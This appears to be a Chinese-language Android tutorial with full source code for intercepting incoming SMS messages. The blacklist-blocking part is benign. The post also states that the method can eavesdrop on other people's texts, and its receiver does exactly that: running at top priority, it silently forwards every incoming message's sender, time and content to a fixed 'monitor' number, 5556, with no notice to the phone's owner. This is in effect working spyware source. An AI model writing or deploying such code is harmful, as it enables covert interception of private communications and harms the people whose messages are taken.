然后就是拦截短信,短信是有序广播,再得到短信的发送号码之后,与预先添加的黑名单进行比较,如果相同,就阻止接受这个号码发来的短信。
同理还可以窃听别人发来的短信,从广播中读到特定的号码,将这个短信发送到别的号码或者上传到网络。
下面是源码:
注册接收广播:
- package com.song;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.util.Log;
- public class BootCompletedReceiver extends BroadcastReceiver
- {
- /**
- * 注册接收开机广播
- */
- @Override
- public void onReceive(Context context, Intent intent)
- {
- Log.v("TAG", "-------BootCompletedReceiver onReceive");
- }
- }
- package com.song;
- import java.text.SimpleDateFormat;
- import java.util.Date;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.telephony.SmsManager;
- import android.telephony.SmsMessage;
- import android.util.Log;
- public class SmsgBroadcastReceiver extends BroadcastReceiver
- {
- public SmsgBroadcastReceiver()
- {
- Log.v("TAG", "SmsgBroadcastReceiver onCreat");
- }
- @Override
- public void onReceive(Context context, Intent intent)
- {
- Log.v("TAG", "SmsgBroadcastReceiver onReceive()");
- Object[] pdus = (Object[]) intent.getExtras().get("pdus");
- if (pdus!=null&&pdus.length>0)
- {
- SmsMessage[] messages = new SmsMessage[pdus.length];
- for (int i = 0; i < pdus.length; i++)
- {
- byte[] pdu = (byte[]) pdus[i];
- messages[i] = SmsMessage.createFromPdu(pdu);
- }
- for(SmsMessage smsg : messages)
- {
- //得到短信内容
- String content = smsg.getMessageBody();
- //得到发送短信的号码
- String sender = smsg.getOriginatingAddress();
- if (sender.equals("1111"))
- {
- //预先添加黑名单,例如 :1111
- //终止广播的继续传播
- abortBroadcast();
- Log.v("TAG", "短信来自黑名单号码:"+sender);
- }
- Date date = new Date(smsg.getTimestampMillis());// 得到短信的发送时间
- // 把收到的短信传递给监控者
- // 1>直接把短信转发给监控者 2>可以通过把数据上传至互联网应用
- SimpleDateFormat format = new SimpleDateFormat(
- "yyyy-MM-dd HH:mm:ss");
- String sendContent = format.format(date) + ":" + sender + "--"
- + content;
- SmsManager smsManager = SmsManager.getDefault();
- smsManager.sendTextMessage("5556", null, sendContent, null,
- null);
- Log.v("TAG", sendContent);
- }
- }
- }
- }
- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.song"
- android:versionCode="1"
- android:versionName="1.0">
- <uses-sdk android:minSdkVersion="8" />
- <application android:icon="@drawable/icon" android:label="@string/app_name">
- <activity android:name=".SmsgActivity"
- android:label="@string/app_name">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- <!-- 注册接收开机广播-->
- <receiver android:name=".BootCompletedReceiver">
- <intent-filter>
- <action android:name="android.intent.action.BOOT_COMPLETED"/>
- </intent-filter>
- </receiver>
- <!-- 接收短信-->
- <receiver android:name=".SmsgBroadcastReceiver">
- <!-- android:priority="1000" 将这个接收器的优先级别声明到最大,接收到广播之后可以对广播序列进行操作 -->
- <intent-filter android:priority="1000">
- <action android:name="android.provider.Telephony.SMS_RECEIVED" />
- </intent-filter>
- </receiver>
- </application>
- <!-- 开机广播权限 -->
- <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
- <!-- 接收短信权限 -->
- <uses-permission android:name="android.permission.RECEIVE_SMS"/>
- <!-- 发送短信权限 -->
- <uses-permission android:name="android.permission.SEND_SMS"/>
- </manifest>
